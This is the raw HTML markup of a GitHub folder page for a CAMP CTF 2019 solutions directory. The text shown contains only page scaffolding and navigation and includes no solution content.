src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CC61:8CC1:157AF839:161BCE2D:6412244C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ae3e9399e9721a1a88a0848980cf1eeb4eff40cff22bb01ed20b50bd48be6a77" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQzYxOjhDQzE6MTU3QUY4Mzk6MTYxQkNFMkQ6NjQxMjI0NEMiLCJ2aXNpdG9yX2lkIjoiNzU1ODU0MDA2MDU5MDc0NDY1MiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ce5dafe00b50502cf62cbe2e5f6d93532c91da1ee3a8b263becddc009961b010" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:205657999" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:image:alt" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:url" content="https://github.com/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/OlfillasOdikno/CAMP-CTF-2019 git https://github.com/OlfillasOdikno/CAMP-CTF-2019.git">
<meta name="octolytics-dimension-user_id" content="19648539" /><meta name="octolytics-dimension-user_login" content="OlfillasOdikno" /><meta name="octolytics-dimension-repository_id" content="205657999" /><meta name="octolytics-dimension-repository_nwo" content="OlfillasOdikno/CAMP-CTF-2019" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="205657999" /><meta name="octolytics-dimension-repository_network_root_nwo" content="OlfillasOdikno/CAMP-CTF-2019" />
<link rel="canonical" href="https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
